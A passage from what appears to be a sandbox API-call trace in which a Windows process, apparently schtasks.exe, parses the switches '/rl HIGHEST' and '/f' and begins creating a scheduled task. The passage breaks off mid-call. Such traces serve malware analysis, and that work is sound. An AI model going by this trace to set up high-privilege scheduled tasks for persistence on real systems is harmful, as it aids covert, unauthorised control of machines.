StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.890] lstrlenW (lpString="?") returned 1 [0064.890] lstrlenW (lpString="?") returned 1 [0064.890] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.890] lstrlenW (lpString="rl") returned 2 [0064.890] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.890] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0064.890] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|rl|") returned 4 [0064.891] lstrlenW (lpString="|?|") returned 3 [0064.891] lstrlenW (lpString="|rl|") returned 4 [0064.891] SetLastError (dwErrCode=0x490) [0064.891] lstrlenW (lpString="create") returned 6 [0064.891] lstrlenW (lpString="create") returned 6 [0064.891] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.891] lstrlenW (lpString="rl") returned 2 [0064.891] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.891] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0064.891] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|rl|") returned 4 [0064.891] lstrlenW (lpString="|create|") returned 8 [0064.891] lstrlenW (lpString="|rl|") returned 4 [0064.891] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0064.891] SetLastError (dwErrCode=0x490) [0064.891] lstrlenW (lpString="delete") returned 6 [0064.891] lstrlenW (lpString="delete") returned 6 [0064.891] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.891] lstrlenW (lpString="rl") returned 2 [0064.891] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.891] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|delete|") returned 8 [0064.891] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|rl|") returned 4 [0064.892] lstrlenW (lpString="|delete|") returned 8 [0064.892] lstrlenW (lpString="|rl|") returned 4 [0064.892] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0064.892] SetLastError (dwErrCode=0x490) [0064.892] lstrlenW (lpString="query") returned 5 [0064.892] lstrlenW (lpString="query") returned 5 [0064.892] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.892] lstrlenW (lpString="rl") returned 2 [0064.892] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.892] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|query|") returned 7 [0064.892] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|rl|") returned 4 [0064.892] lstrlenW (lpString="|query|") returned 7 [0064.892] lstrlenW (lpString="|rl|") returned 4 [0064.892] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0064.892] SetLastError (dwErrCode=0x490) [0064.892] lstrlenW (lpString="change") returned 6 [0064.892] lstrlenW (lpString="change") returned 6 [0064.892] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.892] lstrlenW (lpString="rl") returned 2 [0064.892] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.892] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|change|") returned 8 [0064.893] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|rl|") returned 4 [0064.893] lstrlenW (lpString="|change|") returned 8 [0064.893] lstrlenW (lpString="|rl|") returned 4 [0064.893] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0064.893] SetLastError (dwErrCode=0x490) [0064.893] lstrlenW (lpString="run") returned 3 [0064.893] lstrlenW (lpString="run") returned 3 [0064.893] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.893] lstrlenW (lpString="rl") returned 2 [0064.893] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.893] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|run|") returned 5 [0064.893] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|rl|") returned 4 [0064.893] lstrlenW (lpString="|run|") returned 5 [0064.893] lstrlenW (lpString="|rl|") returned 4 [0064.893] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0064.893] SetLastError (dwErrCode=0x490) [0064.893] lstrlenW (lpString="end") returned 3 [0064.893] lstrlenW (lpString="end") returned 3 [0064.893] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.893] lstrlenW (lpString="rl") returned 2 [0064.893] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.893] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|end|") returned 5 [0064.894] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|rl|") returned 4 [0064.894] lstrlenW (lpString="|end|") returned 5 [0064.894] lstrlenW (lpString="|rl|") returned 4 [0064.894] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0064.894] SetLastError (dwErrCode=0x490) [0064.894] lstrlenW (lpString="showsid") returned 7 [0064.894] lstrlenW (lpString="showsid") returned 7 [0064.894] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.894] lstrlenW (lpString="rl") returned 2 [0064.894] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.894] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|showsid|") returned 9 [0064.894] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|rl|") returned 4 [0064.894] lstrlenW (lpString="|showsid|") returned 9 [0064.894] lstrlenW (lpString="|rl|") returned 4 [0064.894] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0064.894] SetLastError (dwErrCode=0x490) [0064.894] SetLastError (dwErrCode=0x490) [0064.894] SetLastError (dwErrCode=0x0) [0064.894] lstrlenW (lpString="/rl") returned 3 [0064.894] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0064.894] SetLastError (dwErrCode=0x490) [0064.894] SetLastError (dwErrCode=0x0) [0064.895] lstrlenW (lpString="/rl") returned 3 [0064.895] GetProcessHeap () returned 0x330000 [0064.895] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x8) returned 0x34df80 [0064.895] GetProcessHeap () returned 0x330000 [0064.895] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cf10 [0064.895] SetLastError (dwErrCode=0x0) [0064.895] SetLastError (dwErrCode=0x0) [0064.895] lstrlenW (lpString="HIGHEST") returned 7 [0064.895] lstrlenW (lpString="-/") returned 2 [0064.895] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0064.895] SetLastError (dwErrCode=0x490) [0064.895] SetLastError (dwErrCode=0x490) [0064.895] SetLastError (dwErrCode=0x0) [0064.895] lstrlenW (lpString="HIGHEST") returned 7 [0064.895] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0064.895] SetLastError (dwErrCode=0x490) [0064.895] SetLastError (dwErrCode=0x0) [0064.895] lstrlenW (lpString="HIGHEST") returned 7 [0064.895] GetProcessHeap () returned 0x330000 [0064.895] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x10) returned 0x34d6a0 [0064.895] GetProcessHeap () returned 0x330000 [0064.895] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cf40 [0064.895] SetLastError (dwErrCode=0x0) [0064.895] SetLastError (dwErrCode=0x0) [0064.895] lstrlenW (lpString="/f") returned 2 [0064.896] lstrlenW (lpString="-/") returned 2 [0064.896] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0064.896] lstrlenW (lpString="?") returned 1 [0064.896] lstrlenW (lpString="?") returned 1 [0064.896] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.896] lstrlenW (lpString="f") returned 1 [0064.896] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.896] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|?|") returned 3 [0064.896] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0064.896] lstrlenW (lpString="|?|") returned 3 [0064.896] lstrlenW (lpString="|f|") returned 3 [0064.896] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0064.896] SetLastError (dwErrCode=0x490) [0064.896] lstrlenW (lpString="create") returned 6 [0064.896] lstrlenW (lpString="create") returned 6 [0064.896] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.896] lstrlenW (lpString="f") returned 1 [0064.896] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.896] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|create|") returned 8 [0064.896] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0064.896] lstrlenW (lpString="|create|") returned 8 [0064.897] lstrlenW (lpString="|f|") returned 3 [0064.897] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0064.897] SetLastError (dwErrCode=0x490) [0064.897] lstrlenW (lpString="delete") returned 6 [0064.897] lstrlenW (lpString="delete") returned 6 [0064.897] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.897] lstrlenW (lpString="f") returned 1 [0064.897] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.897] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|delete|") returned 8 [0064.897] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0064.897] lstrlenW (lpString="|delete|") returned 8 [0064.897] lstrlenW (lpString="|f|") returned 3 [0064.897] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0064.897] SetLastError (dwErrCode=0x490) [0064.897] lstrlenW (lpString="query") returned 5 [0064.897] lstrlenW (lpString="query") returned 5 [0064.897] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.897] lstrlenW (lpString="f") returned 1 [0064.897] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.897] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|query|") returned 7 [0064.897] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0064.898] lstrlenW (lpString="|query|") returned 7 [0064.898] lstrlenW (lpString="|f|") returned 3 [0064.898] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0064.898] SetLastError (dwErrCode=0x490) [0064.898] lstrlenW (lpString="change") returned 6 [0064.898] lstrlenW (lpString="change") returned 6 [0064.898] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.898] lstrlenW (lpString="f") returned 1 [0064.898] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.898] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|change|") returned 8 [0064.898] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0064.898] lstrlenW (lpString="|change|") returned 8 [0064.898] lstrlenW (lpString="|f|") returned 3 [0064.898] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0064.898] SetLastError (dwErrCode=0x490) [0064.898] lstrlenW (lpString="run") returned 3 [0064.898] lstrlenW (lpString="run") returned 3 [0064.898] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.898] lstrlenW (lpString="f") returned 1 [0064.898] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.898] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|run|") returned 5 [0064.899] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0064.899] lstrlenW (lpString="|run|") returned 5 [0064.899] lstrlenW (lpString="|f|") returned 3 [0064.899] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0064.899] SetLastError (dwErrCode=0x490) [0064.899] lstrlenW (lpString="end") returned 3 [0064.899] lstrlenW (lpString="end") returned 3 [0064.899] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.899] lstrlenW (lpString="f") returned 1 [0064.899] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.899] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|end|") returned 5 [0064.899] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0064.899] lstrlenW (lpString="|end|") returned 5 [0064.899] lstrlenW (lpString="|f|") returned 3 [0064.899] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0064.899] SetLastError (dwErrCode=0x490) [0064.899] lstrlenW (lpString="showsid") returned 7 [0064.899] lstrlenW (lpString="showsid") returned 7 [0064.899] _memicmp (_Buf1=0x34c240, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.899] lstrlenW (lpString="f") returned 1 [0064.899] _memicmp (_Buf1=0x34c380, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.900] _vsnwprintf (in: _Buffer=0x34c3c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|showsid|") returned 9 [0064.900] _vsnwprintf (in: _Buffer=0x34c3a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19f738 | out: _Buffer="|f|") returned 3 [0064.900] lstrlenW (lpString="|showsid|") returned 9 [0064.900] lstrlenW (lpString="|f|") returned 3 [0064.900] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0064.900] SetLastError (dwErrCode=0x490) [0064.900] SetLastError (dwErrCode=0x490) [0064.900] SetLastError (dwErrCode=0x0) [0064.900] lstrlenW (lpString="/f") returned 2 [0064.900] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0064.900] SetLastError (dwErrCode=0x490) [0064.900] SetLastError (dwErrCode=0x0) [0064.900] lstrlenW (lpString="/f") returned 2 [0064.900] GetProcessHeap () returned 0x330000 [0064.900] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x6) returned 0x34dfa0 [0064.900] GetProcessHeap () returned 0x330000 [0064.900] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cf70 [0064.900] SetLastError (dwErrCode=0x0) [0064.900] GetProcessHeap () returned 0x330000 [0064.900] GetProcessHeap () returned 0x330000 [0064.900] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c360) returned 1 [0064.900] GetProcessHeap () returned 0x330000 [0064.900] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c360) returned 0x8 [0064.901] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c360 | out: hHeap=0x330000) returned 1 [0064.901] GetProcessHeap () returned 0x330000 [0064.901] GetProcessHeap () returned 0x330000 [0064.901] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd90) returned 1 [0064.901] GetProcessHeap () returned 0x330000 [0064.901] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cd90) returned 0x20 [0064.901] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd90 | out: hHeap=0x330000) returned 1 [0064.901] GetProcessHeap () returned 0x330000 [0064.901] GetProcessHeap () returned 0x330000 [0064.902] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c3f0) returned 1 [0064.902] GetProcessHeap () returned 0x330000 [0064.902] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c3f0) returned 0x10 [0064.902] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c3f0 | out: hHeap=0x330000) returned 1 [0064.902] GetProcessHeap () returned 0x330000 [0064.902] GetProcessHeap () returned 0x330000 [0064.902] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdc0) returned 1 [0064.902] GetProcessHeap () returned 0x330000 [0064.902] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cdc0) returned 0x20 [0064.902] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdc0 | out: hHeap=0x330000) returned 1 [0064.902] GetProcessHeap () returned 0x330000 [0064.902] GetProcessHeap () returned 0x330000 [0064.902] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c410) returned 1 [0064.902] GetProcessHeap () returned 0x330000 [0064.903] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c410) returned 0x8 [0064.903] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c410 | out: hHeap=0x330000) returned 1 [0064.903] GetProcessHeap () returned 0x330000 [0064.903] GetProcessHeap () returned 0x330000 [0064.903] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdf0) returned 1 [0064.903] GetProcessHeap () returned 0x330000 [0064.903] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cdf0) returned 0x20 [0064.904] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cdf0 | out: hHeap=0x330000) returned 1 [0064.904] GetProcessHeap () returned 0x330000 [0064.904] GetProcessHeap () returned 0x330000 [0064.904] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c430) returned 1 [0064.904] GetProcessHeap () returned 0x330000 [0064.904] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c430) returned 0xe [0064.904] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c430 | out: hHeap=0x330000) returned 1 [0064.904] GetProcessHeap () returned 0x330000 [0064.904] GetProcessHeap () returned 0x330000 [0064.904] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce20) returned 1 [0064.904] GetProcessHeap () returned 0x330000 [0064.904] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ce20) returned 0x20 [0064.905] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce20 | out: hHeap=0x330000) returned 1 [0064.905] GetProcessHeap () returned 0x330000 [0064.905] GetProcessHeap () returned 0x330000 [0064.905] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c450) returned 1 [0064.905] GetProcessHeap () returned 0x330000 [0064.905] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c450) returned 0x8 [0064.905] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c450 | out: hHeap=0x330000) returned 1 [0064.905] GetProcessHeap () returned 0x330000 [0064.905] GetProcessHeap () returned 0x330000 [0064.905] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce50) returned 1 [0064.905] GetProcessHeap () returned 0x330000 [0064.905] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ce50) returned 0x20 [0064.906] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce50 | out: hHeap=0x330000) returned 1 [0064.906] GetProcessHeap () returned 0x330000 [0064.906] GetProcessHeap () returned 0x330000 [0064.906] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c470) returned 1 [0064.906] GetProcessHeap () returned 0x330000 [0064.906] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c470) returned 0x6 [0064.906] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c470 | out: hHeap=0x330000) returned 1 [0064.906] GetProcessHeap () returned 0x330000 [0064.906] GetProcessHeap () returned 0x330000 [0064.906] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce80) returned 1 [0064.906] GetProcessHeap () returned 0x330000 [0064.906] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ce80) returned 0x20 [0064.907] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ce80 | out: hHeap=0x330000) returned 1 [0064.907] GetProcessHeap () returned 0x330000 [0064.907] GetProcessHeap () returned 0x330000 [0064.907] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34c490) returned 1 [0064.907] GetProcessHeap () returned 0x330000 [0064.907] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34c490) returned 0x8 [0064.907] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34c490 | out: hHeap=0x330000) returned 1 [0064.907] GetProcessHeap () returned 0x330000 [0064.907] GetProcessHeap () returned 0x330000 [0064.907] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34ceb0) returned 1 [0064.907] GetProcessHeap () returned 0x330000 [0064.907] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34ceb0) returned 0x20 [0064.907] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34ceb0 | out: hHeap=0x330000) returned 1 [0064.908] GetProcessHeap () returned 0x330000 [0064.908] GetProcessHeap () returned 0x330000 [0064.908] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34def0) returned 1 [0064.908] GetProcessHeap () returned 0x330000 [0064.908] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34def0) returned 0x88 [0064.908] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34def0 | out: hHeap=0x330000) returned 1 [0064.908] GetProcessHeap () returned 0x330000 [0064.908] GetProcessHeap () returned 0x330000 [0064.908] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cee0) returned 1 [0064.908] GetProcessHeap () returned 0x330000 [0064.909] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cee0) returned 0x20 [0064.909] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cee0 | out: hHeap=0x330000) returned 1 [0064.909] GetProcessHeap () returned 0x330000 [0064.909] GetProcessHeap () returned 0x330000 [0064.909] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34df80) returned 1 [0064.909] GetProcessHeap () returned 0x330000 [0064.909] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34df80) returned 0x8 [0064.910] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34df80 | out: hHeap=0x330000) returned 1 [0064.910] GetProcessHeap () returned 0x330000 [0064.910] GetProcessHeap () returned 0x330000 [0064.910] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf10) returned 1 [0064.910] GetProcessHeap () returned 0x330000 [0064.910] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cf10) returned 0x20 [0064.910] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf10 | out: hHeap=0x330000) returned 1 [0064.910] GetProcessHeap () returned 0x330000 [0064.910] GetProcessHeap () returned 0x330000 [0064.910] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34d6a0) returned 1 [0064.910] GetProcessHeap () returned 0x330000 [0064.910] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34d6a0) returned 0x10 [0064.911] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34d6a0 | out: hHeap=0x330000) returned 1 [0064.911] GetProcessHeap () returned 0x330000 [0064.911] GetProcessHeap () returned 0x330000 [0064.911] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf40) returned 1 [0064.911] GetProcessHeap () returned 0x330000 [0064.911] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cf40) returned 0x20 [0064.911] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf40 | out: hHeap=0x330000) returned 1 [0064.911] GetProcessHeap () returned 0x330000 [0064.911] GetProcessHeap () returned 0x330000 [0064.911] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34dfa0) returned 1 [0064.911] GetProcessHeap () returned 0x330000 [0064.911] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34dfa0) returned 0x6 [0064.912] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34dfa0 | out: hHeap=0x330000) returned 1 [0064.912] GetProcessHeap () returned 0x330000 [0064.912] GetProcessHeap () returned 0x330000 [0064.912] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf70) returned 1 [0064.912] GetProcessHeap () returned 0x330000 [0064.912] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x34cf70) returned 0x20 [0064.912] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cf70 | out: hHeap=0x330000) returned 1 [0064.912] GetProcessHeap () returned 0x330000 [0064.912] GetProcessHeap () returned 0x330000 [0064.912] HeapValidate (hHeap=0x330000, dwFlags=0x0, lpMem=0x345590) returned 1 [0064.913] GetProcessHeap () returned 0x330000 [0064.913] RtlSizeHeap (HeapHandle=0x330000, Flags=0x0, MemoryPointer=0x345590) returned 0x18 [0064.913] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x345590 | out: hHeap=0x330000) returned 1 [0064.914] SetLastError (dwErrCode=0x0) [0064.914] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0064.914] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0064.914] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0064.914] VerifyVersionInfoW (in: lpVersionInformation=0x19c790, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x19c790) returned 1 [0064.914] SetLastError (dwErrCode=0x0) [0064.914] lstrlenW (lpString="create") returned 6 [0064.914] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0064.914] SetLastError (dwErrCode=0x490) [0064.914] SetLastError (dwErrCode=0x0) [0064.914] lstrlenW (lpString="create") returned 6 [0064.914] GetProcessHeap () returned 0x330000 [0064.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x20) returned 0x34cf70 [0064.915] GetProcessHeap () returned 0x330000 [0064.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x18) returned 0x34d6a0 [0064.915] _memicmp (_Buf1=0x34d6a0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.915] GetProcessHeap () returned 0x330000 [0064.915] RtlAllocateHeap (HeapHandle=0x330000, Flags=0xc, Size=0x16) returned 0x34d6c0 [0064.915] SetLastError (dwErrCode=0x0) [0064.915] _memicmp (_Buf1=0x34bbf0, _Buf2=0xffe11b08, _Size=0x7) returned 0 [0064.915] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34bd90, nSize=0x104 | out: 